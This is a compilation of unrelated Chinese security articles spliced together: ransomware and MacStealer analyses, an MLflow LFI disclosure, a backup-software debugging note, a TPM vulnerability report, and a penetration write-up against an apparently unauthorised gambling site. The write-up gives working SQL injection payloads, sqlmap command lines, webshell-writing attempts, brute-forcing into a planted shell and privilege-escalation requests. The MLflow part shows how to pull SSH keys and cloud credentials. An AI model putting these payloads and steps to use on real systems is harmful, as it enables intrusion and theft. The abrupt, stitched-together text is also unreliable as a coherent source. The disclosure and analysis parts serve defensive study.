DLL使用幾個直接的SysCall指令來避免API讀取

6.png

notepad.exe文件被注入到RtlTestBit的API調用線程中,該線程已被修復/掛起以跳轉到惡意例程

精妙的攻擊技術在2022年6月首次發現BabLock時,研究人員搜索了類似的文件,發現這些文件的最早記錄可以追溯到2022年3月。在發現這一點後,研究人員想弄清楚它是如何逃避檢測這麼長時間的。

自2022年6月以來,只有少數幾起涉及該勒索軟件的記錄事件,包括最近的一起。由於數量較少,截至撰寫本文時,還沒有涉及地區、行業或受害者資料的統計數據。

7.png

BabLock勒索軟件相關事件

然而,由於其顯著特徵,與BabLock相關的攻擊可以很容易地識別。如上所述,在每次文件加密後,勒索軟件都會在其硬編碼擴展名中添加一個介於00-99之間的隨機數字符串,這導致相同的勒索軟件擴展多達100種不同的變體。

8.png

顯示將00-99之間的隨機數字符串附加到加密文件的代碼片段

它還有一個相當複雜的執行例程:

它使用特定的數字代碼來正確執行;

它將包拆分為多個組件;

它將實際有效負載拆解並隱藏到加密文件中;

它使用普通應用程序作為加載程序;

最後,BabLock使用公開可用的工具作為其感染鏈的一部分。我們發現最常用的工具如下:

Chisel-傳輸控制協議(TCP)和用戶數據報協議(UDP)通道;

Fscan-一個掃描工具;

通過使用這兩個工具,再加上擁有設置活動目錄(AD)組策略的功能的BabLock/LockBit,攻擊者可以毫不費力地在網絡中翱翔。

BabLock與LockBit等勒索軟件的異同根據調查,BabLock使用的大多數例程與Lockbit(2.0)的關係密切。除此之外,它還與Babuk、Yanloowang等勒索軟件存在相似之處。

最初,由於勒索通知的相似性,我們懷疑它與DarkSide勒索軟件有關。然而,與DarkSide勒索軟件不同,BabLock通過執行以下命令行來刪除卷影副本:

9.png

因此,研究人員立即排除了這種關係,因為它不同於DarkSide的操作,即通過Windows Management Instrumentation(WMI)和PowerShell刪除卷影副本(這在技術上更複雜,很難通過標準監控工具檢測到)。

10.png

勒索軟件二進製文件解密並執行命令行以刪除卷影副本

Lockbit(2.0)的一個共同特徵是使用相同的組策略來生成桌面放置路徑。同樣,使用vssadmin刪除卷影副本也是LockBit攻擊中大量使用的例程(儘管也是許多現代勒索軟件的常見例程)。儘管如此,這種相似之處還是不可思議的。此外,它運行相同的命令來為AD執行GPUpdate。因此,該勒索軟件的檢測仍屬於LockBit家族。

11.png

將BabLock生成桌面放置路徑的組策略(左)與LockBit的組策略進行比較(右)

BabLock看起來像是一個由不同的已知勒索軟件家族拼接而成的怪物。

12.png

BabLock與其他勒索軟件家族的相似之處

總結研究人員發現BabLock時已經是其第三個迭代版了。然而,由於其大部分結構仍然類似於Lockbit v2.0,我們推測這可能來自另一個分支機構或組織。 LockBit v3.0發布近一年來,即使在最近的攻擊中,研究人員也沒有發現BabLock的有效負載發生任何變化,這進一步說明它與實際的LockBit組織既沒有聯繫。據分析,BabLock背後的攻擊者成功地利用了LockBit v2.0的許多基本功能,並添加了不同勒索軟件家族功能,以創建他們自己的獨特變體,這些變體可能在未來進一步增強。

安全建議如下:

對資產和數據進行盤點;

識別授權和未經授權的設備和軟件;

審計事件和事件日誌;

管理硬件和軟件配置;

僅在必要時授予員工角色的管理權限和訪問權限;

監控網絡端口、協議和服務;

建立只執行合法應用程序的軟件許可列表;

實施數據保護、備份和恢復措施;

啟用多因素身份驗證(MFA);

將最新版本的安全解決方案部署到系統的所有層,包括電子郵件、端點、web和網絡;

注意攻擊的早期跡象,例如係統中存在可疑工具;

實施多方面的方法可以幫助組織保護其係統(如端點、電子郵件、web和網絡)的潛在入口點。

CVE-2023-1177:MLflow中的LFI/RFILFI/RFI導致系統和雲帳戶被接管

所有CVE在版本2.2.2中已經被修復

已發布了漏洞利用工具和掃描工具

機器學習系統領域最流行的工具之一是MLflow(月下載量超過1300萬人次,且這個數字還在增長),它用於管理端到端機器學習生命週期。

Protect AI測試了MLflow的安全性,結果發現了一個混合型的本地文件包含/遠程文件包含(LFI/RFI)漏洞,可能導致整個系統或云提供商被人接管。強烈建議運行MLflow服務器的組織立即更新到最新版本,或者至少更新到2.2.2版本。版本2.2.1修復了CVE-2023-1177,版本2.2.2修復了CVE-2023-1176。我們在本博文中探討了該漏洞的影響、如何檢測它,以及我們發現這個嚴重漏洞的過程。如果你正在運行MLflow,請使用本博文中提供的免費工具,立即開始修補系統。使用傳統工具給系統打補丁可能是一個挑戰,因為許多自動化補丁管理系統並不枚舉或識別MLflow,就算枚舉或識別,可能也不會執行版本檢查。

立即升級到MLflow的最新版本非常重要,哪怕你的實例不在生產環境中,只在開發環境中使用。

影響如果利用該漏洞,未經身份驗證的遠程攻擊者可以讀取啟動了MLflow服務器的用戶可以訪問的這台服務器上的任何文件。

可以通過從MLflow服務器獲取私有SSH密鑰或云服務提供商憑據來獲得遠程代碼執行的機會。這讓攻擊者得以遠程登錄到服務器或云資源,並利用找到的憑據擁有的相應權限執行任意代碼。

漏洞細節不需要用戶交互。

不需要事先了解環境。

MLflow的所有自定義配置都易受攻擊,包括開箱即用的安裝環境。

MLflow 2.1.1之前的所有版本都容易受到LFI的攻擊。

漏洞利用工具適用於從MLflow v1.12到v2.1.1的所有版本。

MLflow 2.0之前的所有版本都容易受到LFI的攻擊,只需通過更簡單地利用:http://

MLflow維護者迅速響應了負責任披露的這個漏洞,在短短幾週內交付了修復程序。 MLflow 2.1.1之後的版本不再容易受到攻擊。

漏洞檢測若要檢查你的MLflow服務器是否容易受到攻擊,請使用我們的免費CVE-2023-117-scanner掃描工具(https://github.com/protectai/Snaike-MLflow)。

發現過程我們先安裝了MLflow,啟動攔截代理BurpSuite以攔截所有MLflow API調用,運行用數據填充MLflow的實驗,然後啟動UI服務器作進一步探索。

# Download MLflow source to get access to their example runs

git clone https://github.com/mlflow/mlflow

# Create and enter new directory outside the mlflow/directory

mkdir mlflowui

cd mlflowui

# Copy the example code from the MLflow source into this new directory

cp -r ./mlflow/examples/sklearn_elasticnet_wine .

# Setup a virtual environment for installing requirements

python3 -m venv venv

source venv/bin/activate

# Install mlflow in this virtual environment

pip install mlflow pandas

# Run the example experiment

mlflow run --env-manager=local sklearn_elasticnet_wine -P alpha=0.5

# Run the UI to see the experiment details

mlflow ui --host 127.0.0.1:8000

在創建實驗時,它給了我們指定存儲對象的目錄這一選項。這似乎是一個可配置的文件路徑,我們可以通過運行的示例實驗就可以看到:

1.png

圖1

這立即引起了我們的注意,因為這需要完美地實施過濾機制,以防止本地文件包含或任意文件覆蓋。然而,你無法從UI遠程運行MLflow實驗。由於當你通過UI創建實驗時,工件位置實際上沒有發生任何變化,因此這裡沒有任何安全考慮。然後,我們通過點擊單趟實驗運行繼續探索。

2.png

圖2

點擊上圖所示的運行名稱,將我們帶到實驗運行細節,在這裡我們可以看到實驗涉及的文件,並下載文件,如下圖所示。

在這裡,我們在工件文件中看到了一個很大的“Register Model”(註冊模型)按鈕。我們很好奇。

3.png

圖3

4.png

圖4

它似乎不是什麼特別值得關注的對象,因為它只是彈出一個模式,讓你選擇模型,然後將該模型的詳細信息保存為“Version 1”(版本1)。

5.png

圖5

但是底層到底發生了什麼?為此我們檢查了BurpSuite。

6.png

圖6

我們發現了在UI中並沒有顯示的另一個協議和文件路徑輸入。這似乎很可疑。我們將它手動更改為用戶的私有SSH密鑰:file: ///Users/danmcinerney/. ssh/id_rsa。訪問該文件將允許你以啟動了MLflow服務器的用戶的身份遠程登錄到MLflow主機。

7.png

圖7

新的source在響應中有所體現,這通常表明服務器端出現了變化。我們很想知道這實現了什麼操作,於是回過頭去查看已註冊的模型細節。實驗中沒有什麼運行工件,模型細節或模型版本細節中也沒有值得關注的對象。這似乎是另一條死胡同,類似我們發現你可以將實驗工件路徑指向任意位置,但UI隨後不讓你任何操作。然而在檢查BurpSuite請求和響應日誌後,我們發現了一些值得關注的異常。

攻擊者現在擁有訪問權

8.png

圖8

get-artifact API調用中的“500內部服務器錯誤”讓我們感到可疑。在安全測試的早期,get-artifact API調用值得注意,因為它是從工件存儲庫返回文件數據的調用。這是你從實驗運行下載模型的方法,我們發現它受到了一個防止本地文件包含漏洞的函數的保護,如下所示。

9.png

圖9

我們花了一些時間試圖繞過這個,但沒有成功。這個特殊的get-artifact調用的不同之處在於,它不是試圖從子文件夾獲取文件,而是直接訪問文件名。此外,它實際上不是同一個API調用。下面是記入文檔的get-artifact REST API調用:

10.png

圖10

下面是類似的model-version/get-artifact調用:

11.png

圖11

區別包括URL路徑、參數和值。這顯然不是同一個API調用。

我們注意到這個API調用不在說明文檔中。關鍵區別在於,它通過path URL參數直接查找文件名,而不是通過合法的get-artifact API調用中的相對文件路徑來查找。

這就意味著LFI防護機制並不存在,因為不需要執行目錄遍歷。只需要控制源文件夾的位置。在上面的幾個步驟中,當我們創建一個新的模型版本時,嘗試將API請求的source路徑位置修改為:file:///Users/danmcinerney/.ssh/id_rsa:

12.png

圖12

我們應該做的是將source位置更改為文件夾而不是更改為文件。我們糾正了這一點。

13.png

圖13

隨後我們重新發送了發現的這個未記入文檔的REST API調用,並將其指向id_rsa,這是新模型版本source位置中的文件以及提供遠程登錄服務器功能的私有SSH密鑰。

14.png

圖14

使用檢索到的SSH密鑰,我們就可以通過終端訪問運行MLflow服務器的主機。 MLflow最常被配置為使用S3存儲桶作為工件存儲區。如果是這種情況,那麼機器上另一個價值非常高的目標將是~/.aws/credentials文件,可想而知該文件存儲的是AWS憑據。

其他高價值目標可能包括包含明文密碼的Web服務器SQL配置文件或包含所有用戶密碼散列的/etc/shadow,這些用戶密碼散列可以通過hashcat之類的工具來破解。

漏洞利用工具為了幫助保護你的系統,我們創建了一個簡單的工具來發現潛在漏洞,這個工具名為MLFIflow.py(https://github.com/protectai/Snaike-MLflow)。

安裝git clone https://github.com/protectai/Snaike-MLflow

cd Snaike-MLflow/MLFIflow

python3 -m venv mlfiflow

source mlfiflow/bin/activate

pip install -r requirements.txt

使用默認情況下,MLFIflow將嘗試從MLflow服務器讀取/etc/passwd,並使用找到的用戶名搜索SSH密鑰和雲憑據文件:

python MLFIflow.py -s http://1.2.3.4:5000

若要指定待下載的文件的自定義單詞列表,使用-f標誌:

python MLFIflow.py -s http://1.2.3.4:5000 -f /path/to/wordlist.txt

趨勢科技的研究人員檢測到Mac惡意軟件MacStealer通過網站、社交媒體和消息平台Twitter、Discord和Telegram大肆傳播。 MacStealer,是使用Telegram 作為命令和控制(C2) 平台來竊取數據的最新威脅示例。它主要影響運行macOS 版本Catalina 以及之後運行在M1 和M2 CPU 上的設備。現在該惡意程序又有了新的傳播途徑,攻擊者通過假冒合法的遊戲賺錢(P2E)應用程序的圖片,引誘受害者下載它。 P2E是Play-to-earn 的縮寫,允許玩家通過玩遊戲來產生穩定的加密收入。每個遊戲的機制可能不同,但獎勵通常來自質押、刷遊戲幣或生成可交易的NFT物品。

趨勢科技的研究人員最近分析了一種名為MacStealer的Mac惡意軟件(檢測為TrojanSpy.MacOS.CpypwdStealer.A),這是一種加密貨幣錢包和信息竊取程序,偽裝成合法遊戲賺錢(P2E)遊戲應用程。研究人員已經發現MacStealer的源代碼已經通過在線公共掃描服務洩露。該惡意軟件目前通過第三方網站傳播,使用從真實P2E應用程序中竊取的圖像和圖形,並在社交媒體和消息平台Twitter、Discord和Telegram上傳播。惡意軟件背後的攻擊者會偽裝成一家合法的遊戲公司,尋找測試人員,並吸引潛在的受害者下載他們的應用程序。

引誘新玩家與其他在感染設備的同時重定向用戶的假冒應用程序不同,攻擊者沒有假裝創建遊戲,只是從現有的P2E中復制。 Twitter賬戶和網站只是吸引用戶下載MacStealer的幌子。一旦惡意軟件執行,用戶就會在GUI提示中輸入各自的密碼,存儲在設備中的特定信息就會被竊取。

研究人員的傳感器在例行檢查中檢測到了高危示例進行分析,經過仔細檢查,發現worldofcretures[.]io網站與示例有關,該網站在Twitter上得到了大肆傳播。

檢查該網站後台發現假冒應用程序的頁面是在2023年1月才創建的,所有的圖形和文本都是直接從另一個P2E應用程序的網站上獲取的。這款假冒應用程序的推特頁面圖像也直接取自合法應用程序的社交媒體頁面,於2022年10月創建,與2021創建的合法應用程序帳戶相比,這是相對較新的。不知情的受害者可能沒有聽說過這款遊戲,他們很容易將假冒頁面誤認為是合法應用程序的原始遊戲和官方社交媒體賬號。

1.png

真實遊戲的網頁(上)和假冒遊戲的網頁(下)

這些網站在很多方面都有所不同(例如圖形、名稱和公司),如果感興趣的用戶知道這些細節,這些網站仍然可以識別。社交媒體帖子包括下載該應用程序的促銷活動,讓新玩家似乎只要連接到Discord渠道並下載遊戲就可以獲得免費贈品。一旦用戶加入攻擊者的渠道,攻擊者就會通過聊天說服用戶點擊惡意鏈接或下載惡意軟件文件。

2.png

假冒應用程序的帖子示例,用於重定向潛在受害者,並在Discord上“下載”遊戲

技術細節一旦受害者下載了遊戲,一個名為LauncherMacOS的.dmg文件,dmg(SHA256:8ea33c34645778b79dd8bb7dcf01a8ad1c79e7ada3fd61aca397ed0a2a57276,被Trend Micro檢測為TrojanSpy.MacOS.CypwdStealer.A)在系統中執行。簽名如下:

3.png

特別簽名在ARM64 M1蘋果處理器上尤為重要。它要求所有本機代碼都有有效的簽名(如果只是臨時的),否則操作系統將不會執行它。相反,它會在啟動時阻止本機代碼。

在檢查dmg中的應用程序包時,研究人員觀察到它包含以下使用Python編譯器Nuitka編譯的Mach-O二進製文件:

啟動器(SHA256:5e8f37420efb738a820e70b55a6b6a669222f03e4a8a408a7d4306b3257e12ff,被Trend Micro檢測為TrojanSpy.MacOS.CpypodStealer.A)Nuitka是一個不常見的編譯器,在測試過程中,主要的Mach-O顯示出可疑的網絡活動。研究人員還注意到Nuitka可以將Python腳本編譯成Mach-O二進製文件。

4.png

DMG示例的應用程序捆綁內容

程序本身分為兩個階段。第一個階段是Nuitka引導程序的執行。就其本身而言,邏輯本身是無害的,但會將惡意負載釋放到目標路徑,而第二階段是執行惡意負載。

惡意軟件的第一階段實現以下例程:

1.它從一個名為“有效載荷”的特殊部分讀取內容。

5.png

由惡意軟件二進製文件提取的部分

2. 它將內容寫入路徑為

6.png

第二階段Mach-O二進製文件釋放到系統上

3.它將環境變量NUITKA_ONEFILE_PARENT更改為當前進程號。

4.它執行提取內容的主要可執行文件,並清理引導版本本身。

第二階段可執行文件是一個基於CPython實現的程序,該程序由Nuitka從Python編譯而成。在編譯過程中,編譯器會清除部分信息以提高程序的執行效率,而Nuitka轉換的Python代碼完全清除了原始字節碼,無法恢復。由於不可逆的編譯過程,研究人員無法從Python源代碼的角度對其進行分析,但函數名稱和動態行為日誌提供了大量信息。

1.它試圖從以下錢包中竊取數據:

Binance

Exodus

Keplr

Metamask

Phantom

Trust wallet

7.png

用於竊取錢包數據的函數

2.它試圖竊取瀏覽器數據和密鑰鏈。在測試過程中,研究人員在系統上使用以下命令發現了該示例,用於文件/目錄發現和系統信息收集:

/bin/sh -c uname -p 2 dev/null

/bin/sh -c security default-keychain

8.png

用於竊取鑰匙鍊和錢包數據的函數

3.它使用chainbreaker轉儲鑰匙鏈。

4.彈出對話框,使用osascript騙取用戶密碼,命令如下:

9.png

對話框標題為“系統首選項”,圖標警告默認答案為“隱藏答案”。

10.png

獲取受害者密碼的對話框

5.它試圖將收集到的信息以Zip文件的形式發送到命令與控制(CC)服務器mac[.]cracked23[.]網站。

11.png

洩露數據的網絡數據包(頂部)和Zip文件的內容

12.png

發送到CC服務器的general_info.txt文件的內容

一旦下載並在受害者的系統中運行,MacStealer就會竊取受害者的錢包數據,並清空加密貨幣錢包。如果受害者沒有加密貨幣錢包,惡意軟件就會竊取用戶信息和鑰匙鏈。

通過社交媒體和其他平台傳播在掃描其他社交媒體帖子時,研究人員發現了攻擊者嘗試傳播MacStealer惡意軟件的努力。考慮到使用的戰術、技術和過程(TTP)是相似的,這個示例和部署可能是一個組織完成的。在本節中,我們以Impulse Flow假冒應用程序為例。

攻擊者創建一個Twitter賬戶和相關網站來宣傳假冒的遊戲應用。以下是一個帶有驗證圖標的Twitter賬戶示例。然後,他們將游戲宣傳為基於區塊鏈技術的免費P2E在線遊戲。

有一個鏈接樹鏈接,其中包含到他們其他通道的鏈接,Linktree 是一家在線工具平台,可以讓你在社交媒體上展示自己或品牌的多個網站鏈接。 Linktree 的主要業務是提供一個簡單易用的工具,讓用戶能夠在Instagram、TikTok、Twitter 等社交媒體上分享多個鏈接,從而幫助他們更好地展示自己或品牌,增加流量、轉化率和銷售額,其中包含指向其他渠道的鏈接:

Website: https[:]//play-impulseflow[.]com/

Website: https[:]//impulse-flow[.]gitbook[.]io/impulse_flow-whitepaper/

Website: https[:]//github[.]com/ImpulseFlowBeta/1[.]0[.]3

Discord: https[:]//discord[.]gg/Impulse-flow

Twitter: https[:]//twitter[.]com/lmpulse_Flow

Telegram: https[:]//t[.]me/impulseflow_official

圖片搜索查詢顯示,推特和其他社交媒體賬戶中使用的媒體(圖片和視頻)抄襲了遊戲《余烬之剑》 (EmberSword)。 Ember Sword是一個多資產的虛擬經濟遊戲,其主要功能是支持用戶社區購買,出售和使用遊戲專屬虛擬資產。在Ember Sword中,用戶可以購買,出售和發行各種遊戲幣和令牌,包括經典貨幣,裝備,材料和其他供玩家交易的內容,這種內容可以用來升級角色,改善遊戲內的經濟秩序,以及豐富遊戲體驗。攻擊者利用這些平台誘使潛在受害者執行惡意軟件可執行文件。所觀察到的一些方法如下:

1.他們將其宣傳為一款公測遊戲,並吸引人們參與他們的測試計劃以換取獎勵。這些測試人員被邀請加入攻擊者的Discord或Telegram渠道,在那裡他們會得到惡意軟件二進製文件或下載惡意軟件二進製文件的鏈接。在某些情況下,鏈接或文件將需要密碼,他們通過Discord或Telegram渠道接收:https[://]twitter.com/lmpulse_Flow/status/1633735911782400000。

13.png

輸入密鑰可以讓潛在的受害者下載MacStealer惡意軟件二進製文件

2.他們直接向內容創造者傳達信息,幫助他們推廣遊戲。這被懷疑是一種針對這些有影響力的人的社會工程策略。

https[://]twitter.com/powrdragn/status/1638024217412390913

https[://]twitter.com/ender_thien/status/1637659072379101185

https[://]twitter.com/naerycrypto/status/1637226997817692161

https[://]twitter.com/CiervoKing/status/1637220583736762370

3.他們發布虛假的職位空缺,並引誘求職者下載他們的惡意軟件二進製文件:https://twitter.com/witty_taeil/status/s1631654308218298368。

14.png

一些人在推特賬戶上發布了關於與假冒遊戲應用程序和網站相關的惡意活動的警告。

15.png

一些用戶據稱是MacStealer惡意軟件的受害者

總結雖然P2E遊戲並不新鮮,但它正在重新引起人們的興趣,越來越受歡迎,而攻擊者也在努力利用這一不斷增長的趨勢。 MacStealer惡意軟件只是眾多利用P2E吸引力的惡意軟件之一。 P2E遊戲玩家最適合成為攻擊目標,因為這些遊戲的經濟模式要求他們使用加密貨幣和錢包。

安全研究人員可以發現,考慮到攻擊者使用Discord和Telegram直接與受害者溝通,使用不常見的手段傳播惡意軟件,調查分析惡意軟件並不容易。

該惡意軟件似乎並不復雜,由於原始代碼是Python腳本,因此使用它只需較低的技能。考慮到原始代碼是使用Nuitka編譯成Mach-O二進製文件的Python腳本,儘管這會使反編譯變得困難,因此其本身並不復雜。這對分析師來說可能很難進行逆向工程,因為儘管它很簡單,但使用Nuitka編譯Mach-O二進製文件表明,對一個好目標進行適當的攻擊可以獲得巨大的回報。在這種情況下,他們針對的是經常使用加密錢包的P2E遊戲玩家。攻擊者收集的大部分利潤來自通過社交工程技術竊取的加密貨幣,將惡意軟件發送到用戶的設備(即網站、Twitter賬戶和其他相關渠道)。

Discord為各種目的提供渠道,其中包括P2E遊戲和用戶。作為一個逐漸成為玩家交換信息的平台,在Discord中下載鏈接以訪問遊戲——無論是作為用戶還是測試人員——可能不會立即在受害者中引發危險信號。這也增加了攻擊者選擇該平台傳播惡意軟件的可能性。然而,一名受害者指出,攻擊者的渠道明顯缺乏互動,並將這些細節標記為對其他人的警告。其他用戶警告稱,只要他們要求截屏或發布警告推文,他們就會立即被這些渠道封殺。

此外,由於最近Twitter所有權的中斷和賬戶驗證政策的變化,攻擊者似乎濫用它來輕鬆獲得一個經過驗證的賬戶。這提供了一種合法性的假象,以提高假冒應用程序和賬戶的社交工程能力。使用這種技術也可以很容易地在TikTok、YouTube和Facebook等其他平台上宣傳。

為了避免和防禦像MacStealer這樣的威脅,研究人員強烈建議謹慎安裝來自非官方來源和應用程序平台的應用程序。為設備啟用最新的安全解決方案還可以幫助檢測、阻止和緩解這類威脅的風險。

0x00 前言Server Backup Manager(SBM)是一種快速、經濟且高性能的備份軟件,適用於物理和虛擬環境中的Linux和Windows服務器。本文將要介紹Server Backup Manager漏洞調試環境的搭建方法。

0x01 簡介本文將要介紹以下內容:

環境搭建

調試環境搭建

用戶數據庫文件提取

CVE-2022-36537簡要介紹

0x02 環境搭建安裝參考資料:http://wiki.r1soft.com/display/ServerBackupManager/Install+and+Upgrade+Server+Backup+Manager+on+Debian+and+Ubuntu.html

參考資料提供了兩種安裝方法,但是我在測試過程中均遇到了缺少文件/etc/init.d/cdp-server的錯誤

這裡改用安裝舊版本的Server Backup Manager,成功完成安裝,具體方法如下:

1.下載安裝包http://r1soft.mirror.iweb.ca/repo.r1soft.com/release/6.2.2/78/trials/R1soft-ServerBackup-Manager-SE-linux64-6-2-2.zip

1.png

web管理頁面有以下兩個:

http://127.0.0.1:8080

https://127.0.0.1:8443

0x03 調試環境搭建研究過程如下:

2.png 3.png

(6)

使用IDEA下斷點並配置遠程調試,遠程調試成功如下圖

下载.png0x04 用戶數據庫文件提取4.png 5.png 6.png 7.png

8.png 9.png

從以上代碼可以得出用戶口令的加密算法

(2)定位用戶創建的具體代碼實現位置

10.png 11.png 12.png 13.png 14.png 15.png 16.png

0x05 CVE-2022-36537簡要介紹漏洞分析文章:https://medium.com/numen-cyber-labs/cve-2022-36537-vulnerability-technical-analysis-with-exp-667401766746

文章中提到觸發RCE需要上傳一個帶有Payload的com.mysql.jdbc.Driver文件

這個操作只能利用一次,原因如下:

默認情況下,管理後台的的Database Driver頁面存在可以上傳的圖標,如下圖

17.png上傳後不再顯示可上傳的圖標,如下圖

18.png 19.png

0x06 小結本文介紹了在搭建Server Backup Manager調試環境過程中一些問題的解決方法,分析用戶數據庫文件提取的方法,給出檢測CVE-2022-36537的建議。

0x00  信息搜集

朋友给了我一个站,算一个比较大的bc,主站看了一下,没有入口,就换了他的一个推广平台

图片

然后首先大致扫了一下目录,希望可以看见一些有用的东西。
这个时候我可以推荐大家一个接口,可以快速大致看看他重要的文件
https://scan.top15.cn/web/infoleak
例如探针,网站源码是否打包,很明显我没有扫出来,然后给大家看看扫描结果。

图片

config.inc.php根据经验看应该是数据库的配置文件,但是大小为0B,试探性的访问一下,果然什么都没有
upload访问就是403,但是根据经验还是会再去扫一下它,说不定是什么fck编辑器呢,也很遗憾,啥子都没有扫到。
/index.php/login/ ,大小只有2kb,也根本不是后台,有点失落。
端口的话也只有这一个web资产,只好看一下他的网站功能了。
然后点击了一下查询,希望可以在这里找找注入。

0x01  后台注入

图片

果然,有注入,剩下的就是找后台了。

图片

查看当前数据库,and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--

图片

这里记一下踩坑,account=1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--('
这是完整的payload,最开始我的payload为account=1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+。

tm始终不出数据,我以为他妈有过滤。

还一个一个fuzzing。

后面想了想会不会注释闭合了还会追加').果然,闭合以后出了数据。

然后有用sqlmap跑数据,没想到tm的跑不出来。

只有自己重新构造sqlmap语句
python2 sqlmap.py -r 1.txt --prefix "')" --suffix "--('" --level 3 --tamper=space2plus --skip-urlencode
终于跑出来了。

后面看了一下payload,每次跑都会把空格编译为20%,url编码了以后payload就不生效了,就用了skip-urlencode这个参数。

0x02  注入点

惊喜又来了,看了一下priv,真的,这么多mysql注入,终于有了一个比较高的权限。

图片

我直接账号密码都没有看,刚刚报错除了绝对路径,这不--os-shell?
然后查看payload的时候,发现了hws,我就感觉不简单了,兄弟们。

图片

果然,写不进去,后面加了--hex也是写不进去的。

那没事,还有--sql-shell。

用堆叠写,虽然我知道大概率写不进去,但是还是要尝试一下,说不定呢。

渗透tm就是玄学。

图片

查看了一下priv,不是null,又给了我一丝丝希望,写,先写一个txt看看。

select 1 into outfile 'D:/wwwroot/wnshd.com_22fqiz/web/1.txt'

图片

然后去网站看,并没有写进去,真的太难了。

就只剩下--file-write了,这个就不贴图了,依然还是没有拿下。

无奈,只有查看后台账号密码。

图片

账号密码收集完了,就去找后台,但是很遗憾,还是没有找到,都接近绝望了。

这tm都送到嘴里了,怎么还是拿不下,我tm就感觉是sqlmap的问题,我有重新弄了一次上面的步骤,我明白了,sqlmap可能会骗你,但是hws不会,你写不进去,就是写不进去。

算了还是换一个思路吧,报错不是爆了这个目录吗?

wolsoowpppps,我在回去看看,不出意外的403,wolsoowpppps/admin,wolsoowpppps/login。

都没有东西,dirsearch一扫,tm还是没有。

0x03  写马不成功

他报错不是web/wolsoowpppps这个路径吗,会不会是我绝对路径有问题,我访问

图片

怎么也是403,那只能说明这是一个没有扫出来的目录,尼玛的,我tm感觉这里有东西。

结果一扫,图就不贴了,还是什么也没有。

哈哈哈哈。

有白高兴一场。

但是我始终觉得这个wolsoowpppps目录有问题,fuzzing一下,fuzzing出了web,然后再扫web,好家伙,出了一个temp。

php访问,一个大马。

这不快结素了吗?

图片

然后爆破,最终,成功爆破进来,上传蚁键,拿下。

这个大马看起也很熟悉呀。

图片

但是hws还是真的猛。

命令无法执行,用了插件,还有那个.so的那个方法,都没有弄出来。

图片

这里感谢一下黄哥,他说的护卫神主要是asp的,传一个冰蝎的马就可以了。

图片

然后想了很多办法,这个权限提不下来,我相信xz的大佬应该会知道吧,我说一说情况。

目前只有d盘的查看修改权限,exe无法执行,意味着Ms系列用不起。

土豆一族传不上去。

iis秒不掉。

杀软是火绒,护卫神,安全狗。

向上cs的,但是dll和Mshta执行就卡死,目前暂时不知道怎么提权,想继续扩展,但是提权这一方面接触的少,还望先知的给位表哥们给给思路。


0x04 拿下后台

最后,我想了想,那个大马是怎么传上去的。
对方可能也是注入起手->在一处找到了xss(我也找到了,但是由于客服是10月份下线的,已经换了站了,导致我的xss一直打不过来)->找到后台->由于是tp3.2.3的站,后台的rce(tp3.2.3缓存getshell)->上大马。
这是xss的位置

图片

这个是后台

图片

这个站虽然拿的比价坎坷,但是思路都是很简单的,还是多学习吧。




转载于原文链接: https://mp.weixin.qq.com/s/qNdLNaPNK_485uAPILQXRQhttps://xz.aliyun.com/t/8491

我們將在本文中詳細討論在可信平台模塊(TPM) 2.0參考實現代碼中發現的兩個漏洞。這兩個漏洞,即越界寫入(CVE-2023-1017)和越界讀取(CVE-2013-1018),影響了多個TPM 2.0軟件實現(如虛擬化軟件使用的軟件)以及多個硬件TPM。

介紹2021年10月,微軟發布了Windows 11。其中一個突出的安裝需求是需要可信平台模塊(TPM) 2.0。這一需求的含義是,為了能夠在虛擬機中運行Windows 11,虛擬化軟件必須通過對主機上的硬件TPM進行傳遞或通過向其提供虛擬TPM來向VM提供TPM。

我們發現這是一個有趣的漏洞研究主題,因為添加虛擬TPM意味著可以從客戶內部訪問虛擬化軟件的擴展攻擊面,因此它可能用於虛擬機逃逸。作為研究工作的結果,我們發現了兩個安全問題:一個被標識為CVE-2023-1017的越界寫入,另一個被識別為CVE-203-1018的越界讀取。它們可以從用戶模式應用程序通過發送帶有加密參數的惡意TPM 2.0命令來觸發。有趣的是,這兩個漏洞的影響比我們最初想像的要大,鑑於它們源自Trusted Computing Group(簡稱TCG,發布和維護TPM規範的非營利組織)發布的參考實現代碼,這些安全漏洞不僅影響到我們測試的每個虛擬化軟件,也包括硬件實現。

請注意,這篇文章中的大多數評估(例如關於可利用性、影響或受影響的平台)都是基於我們對基於軟件的虛擬TPM的分析,因為我們可以用一種簡單的方式調試它們來執行動態分析,因為調試Hyper-V的虛擬TPM更難,因為它作為一個IUM進程運行。相反,在沒有調試接口的單獨芯片中運行的TPM固件中,了解運行時發生的事情是一個完全不同的問題。事實證明,即使對硬件TPM的固件進行靜態分析也很困難,因為我們試圖分析的少數TPM固件更新碰巧是加密的。因此,缺乏對硬件TPM的具體評估並不意味著它們不受影響,而是由於缺乏可觀察性,我們無法評估它們中的大多數是如何受到影響的。但是,使用本文中發布的概念驗證代碼,至少會驗證一些TPM芯片是易受攻擊的。在嘗試OOB寫入後,芯片將停止響應(即不再識別命令),並需要重新啟動計算機才能再次運行,從而確認其易受攻擊狀態。

受影響的平台以下是受影響的軟件和硬件平台的簡單列表。其中列出的產品,是我們可以藉助本文中提供的PoC證明存在漏洞的產品,但其他TPM(無論是虛擬的還是物理的)也很可能存在漏洞。

在我們進行研究時,易受攻擊的代碼存在於TPM 2.0參考實現的最新可用版本:Trusted Platform Module Library Specification, Family '2.0', Level 00, Revision 01.59 – November 2019;

Windows 10上的Microsoft Hyper-V(受影響模塊:TPMEngUM.dll版本10.0.19041.1415);

VMware Workstation 版本16.2.4 構建-20089737(受影響模塊:tpm2emu.exe -可執行文件中沒有版本信息);

Qemu和VirtualBox使用的Libtpms/SWTPM (從主分支編譯,提交520a2fa27d27a4ab18f4cf1c597662c6a468565f);

Nuvoton硬件TPM(固件版本:1.3.0.1);

通常,所有固件基於可信計算組參考實現代碼的TPM 2.0都會受到影響。

對雲計算的威脅當前幾乎所有主要的雲計算提供商都提供帶有虛擬TPM的實例,這使得攻擊者可能試圖利用虛擬TPM中的這些漏洞,以繞過虛擬機並破壞主機系統。

亞馬遜AWS已配備了NitroTPM,Nitro TPM:Trusted Platform Module (TPM) 2.0,是一項安全性和兼容性功能,可讓客戶更輕鬆地在其EC2實例中使用依賴於TPM的應用程序和操作系統功能。它符合TPM 2.0規範,可以輕鬆將使用TPM功能的現有本地工作負載遷移到EC2;

Microsoft Azure提供虛擬TPM作為可信啟動的一部分;

